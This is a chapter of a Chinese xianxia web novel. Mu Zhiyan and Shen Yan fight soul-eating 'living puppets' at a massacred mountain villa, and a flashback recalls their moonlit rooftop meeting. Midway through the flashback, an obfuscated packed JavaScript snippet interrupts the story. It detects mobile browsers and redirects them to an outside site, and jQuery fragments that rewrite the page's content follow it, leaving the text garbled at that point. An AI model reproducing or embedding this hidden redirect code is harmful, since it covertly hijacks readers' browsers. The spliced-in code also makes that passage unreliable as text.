19. 明月夜(1)
作品:《失忆后在人间为仙友打工》 一行人踏进山庄大门。
入口处守护的弟子早已无声息,地上是掉落的“渡”字旗。
前不久还暗含灵气的草木沾上血色。满山,他们外出时留下的所有人,都在这场“复仇”中沦为败者,而失败的代价,就是生命被夺取。
还是来晚了。
慕枝砚见眼前有生物从弟子服中钻出。那件衣衫上的血液还未凝固,落在地面,里头的东西速度很快,在衣袖、肩头游走,将衣衫顶起像山丘一样的鼓包。
它最终从衣领处钻出来。是一团黑雾,在众人面前,从雾化作人的轮廓。腿脚是最先长出来的,其次是手,最后是脸上的五官。眼睛,鼻子,嘴巴,种种清晰后,慕枝砚才见,这是方才在后山拦住去路的人。
拦住去路的,活假人。
他的气色看起来比方才还要好,唇间格外红润。他起身站立不稳,牵线木偶似的走两步,然后歪着头,转动漆黑的眼珠,空洞洞地对准他们。
“来客人了。”他笑,露出色白的牙齿。
冷潇湘怒喝:“摆阵!”
“沈厌,拿符!”慕枝砚当下武断,“掌事,这里您先稳住,我带着他去庄中院落。”
山门如此,庄内状况必然更惨烈。这时候顾不上说话,冷潇湘只和两人交换一个眼神,慕枝砚不由分说,抓着沈厌的手腕,带着他往门里跑。
“让他们进去!”冷潇湘道,“摆阵掩护!”
从散落的衣服里,从院落的门窗上,从地面的阴影中,慕枝砚拉着人跑的那刻,突然从四面八方窜出说不清的魂灵,都是团团黑雾化作人形。
慕枝砚不敢松开沈厌的手腕,她怕一旦松开,沈厌就会被这群吃上瘾的活假人拆吞。
身后是撕咬着扑上来的活假人,手边是她尽力想保护的凡人。
可惜符纸不能瞬移。慕枝砚腾出手往空中扔符,声量都因为他们侵蚀的疯狂而拔高:“逐云!”
“惊风!”
她把所踏过的路尽数劈开。
身后的魂灵伸出雾团似的“手”,魂灵挣扎的声息万分痛苦,那只只“手臂”将地面抓出裂痕。呜咽着、咆哮着,他们带着对鲜活生命的渴望,被困在那段沙石飞扬的残路上。
“你要去哪?”
这一路上没有见得除他们以外的活人。沈厌对她所行的路线很熟悉,周边房屋构建都是见过的模样——她前往的,正是他们所住过的客房。
“去找幸存的人!还有我的法阵!”
慕枝砚带着人往前走,没有回头:“那个姑娘还在,如果她不是活假人,我至少能带她走!”
法阵已落下,结界未破,干扰它的铃铛也留在慕枝砚身上。如果,如果不渡山庄真的被灭门,所有人她都救不回来,她至少可以去救下那个年幼的姑娘。
只希望她不是活假人。
“我答应过她,”慕枝砚说,“我说我会还给她。”
她说着,取出身上荷包里,和符纸放在一起的铃铛。
那枚铃铛和初取出那日不同。它身上居然起了裂纹,颜色也从亮眼的银色变得黯淡,慕枝砚没停下脚步,还在跑,却震惊地摇动铃铛。
没有铃响。
“怎么会......”
她握着不会响的,或者说是假冒的替代品铃铛,怎么摇,都没有听见一丝声响。
这一恍惚,她未见院落外树上猛地窜出道黑影。在她疏忽的瞬间,黑影伸出“手臂”,手指尖生出利爪,穿过掩盖着原身所在的枝叶,直奔着两人而来!
“小心!”
“牵丝!”
两道声音同时对准突如其来的变故,沈厌下意识把人往身后推,慕枝砚则在听闻叶间沙声挥符。
红色的丝线在她衣袖内飞出,灵蛇般扭动,对上那只手的尖爪。爪长三寸,丝线转长,束缚在手指尖与所生利爪的连接处。
利爪往后用力,连带着红丝线也紧紧跟随,直跃至树上。慕枝砚未曾想附身树上的那力量如此大,她手攥着红丝线,脚步止不住地往前拖。
“贺礼!”
几乎一刹那,慕枝砚就知晓那人是谁。
吸食最多的,棺材开得最勤的,也是魂灵怨气最重的。
那红丝应当和他碎月一样,是她身边常伴之物。眼见她攥不住,沈厌主动挣开她还握住自己的手腕,一并抓紧她的红丝线。
出手前,沈厌利用黄符纸设了道风符。符纸通符奏效,大风刮过,利爪吃力往后一拽,贺礼争不过,不恼,反而缩在树后痴痴笑。
“哈哈哈哈哈哈,痴人说梦......你看见了吗!”
从低低的笑,逐渐变作狂笑,一声压过一声。
“你看见了吗……”
风沙飞扬,他哭嚎的声音隐在风里,虽然远去,却久久不散:“孟娘......”
贺礼顶不住符纸威力,利爪黑雾散去。慕枝砚方才被贺礼的力量带到半树高,突然的收力,让红丝线齐齐往她衣袖里飞窜,她也失重往下坠。
贺礼虽暂时收手,黑雾离去前还不忘落去重重一击。利爪在空中划出一道令,对准树下站着的沈厌飞去。
沈厌未觉,想上前扶住慕枝砚,那令竟和慕枝砚下坠的身体同来。他接着人,手上刚有了重量,随后,面上就赫然被那令震了一记。
......
痛。
慕枝砚跌在地面。
她身上痛,手一抚,身边全是因打斗带动而落下的枝叶。
红丝线乱了,其中一根在她指尖绕着,她去寻,发现长长的另一头线尾,挂在银色面具上。面具是劈开裂成两半的,慕枝砚忙爬起来捡起,顺着剩余散落的丝线找。
不过走出几步,她于树下看见一个人。
听见她到来,那人慢慢回首。
红丝线挂在他衣衫上,甚至有的还飘在他如墨的发间。本是糟乱的场景,甚至那人的发丝都有几缕散在眉上了,还是没挡住他满脸的英气。
剑眉微扬,唇间轻抿。
他缓缓转过头来,眼神交错的那刻有些许失神。
慕枝砚怔怔。
她想起那夜月下窗边,沈厌问起她一句话。
我是不是在哪里见过你。
**
今夜天庭有仙师做宴,为的是庆贺其飞升。
慕枝砚作为天庭头号仙友,无人不知无人不识的缘灵神,这样的宴会通常都不需要她提起,主办的童子就会主动递上帖子请她前去。
但今夜实在无聊。
若不在,没人和她拌嘴。而庆贺的那位主人公,也只是在幕后说了两句话,不待宴席散去就离开了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497472|184692||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看样子是天庭要求,不得不办的宴席,走个过场罢了。
慕枝砚坐不住,等缠着她说话的仙友终于走了,这才得了空。她见无人管她,抱着两壶酒,飞出了天庭。
出天庭,下凡间。
她这日子选得好,似乎正值人间灯游、放烟花的佳节。慕枝砚在天庭待久了,人间习俗记不大清楚,但来都来了,她想着总不能错过了。
慕枝砚就找了最高处的屋檐。
世人说这楼高,伸手,可望月摘星辰。
世人还说,人会望月,月亮在凡间话本里是思念的寄托。想家,念人,碍于情面不好意思说出口的时候,他们会说,他们在看月亮。
慕枝砚不知道这月亮有什么好看。那晚虽说月色似水,但远不如人间烟火热闹。
她坐在屋檐上,看着下头人买花灯,有的猜谜有的写信,说是要给花神娘娘,她见到了会保佑少年少女情缘如愿的。
花神?慕枝砚错愕。
花神是谁啊。她回想,天庭没有这号人物,应当是人间杜撰的。再说了,掌管世间福禄情缘的,不是她仙师“缘”么。
听着,也想着,慕枝砚第一壶酒就饮尽了。
她在宴席上就喝了许多,这一壶酒再下去,彻底醉了。慕枝砚索性身子往后靠些,望着天上那轮明月。
“花神啊。”她迷糊地说,“神仙在人间许愿,也能如愿么......”
这酒,是叫什么什么醉来着?
慕枝砚脑子晕,想不起来名字,好像后劲有点大。是有点醉了,她眼睛眯起来,瞧着那月光淡下去了。
是被人影挡住了。
她往身侧看去。
站着个人呢。花神娘娘听见了。
慕枝砚摇摇头,清醒了一点。她觉察出来者身上带着仙气,居然和她是同道中人。
天庭上哪位神君?慕枝砚仔仔细细打量。
黑色的外衫,腰间是一把配剑,不过剑是出鞘的,握在手中。往上看,似是沾水,两缕头发是湿润的,其中一缕落到鼻翼左侧,他没去拂,任由其在月下风中飞舞。
全身上下,都带着桀骜不驯那股劲儿。
眼睛扫过来时,往上微挑,好像第一眼没发现她是仙友,抽出的那把剑要砍她似的。
他坐在慕枝砚身边,把剑收回去。他没说话,保持沉默,慕枝砚却是话痨,抱着第二壶酒,轻问:“你是谁?以前从未见过。”
那人收剑后安静多了,那杀仇敌似的架势也没了。
慕枝砚往他那边看。
屋檐下面还有着人祈福,成群打闹的孩童念着写给花神的信。慕枝砚手托着自己的下巴,看久了他的侧脸,歪了下头,说:“我号缘,名叫慕枝砚。”
神仙有责。
天庭内众仙之间的称呼,都是一贯叫号的,或者敬称一句神君,仙师,大人。
天道规定,既已飞升,就要抛去人间世俗,姓名自然也在这种种抛弃之一。
可是慕枝砚不觉得。她记得自己的名字,从未忘记,也从未和其他仙友说过。
可能是今夜醉了。对着檐上月,她觉得世人所说那个话本子还挺对,什么思人想家的,以后要多买点来看。
“我叫慕枝砚。”她说。
“羡慕的慕,树枝的枝,笔墨纸砚。”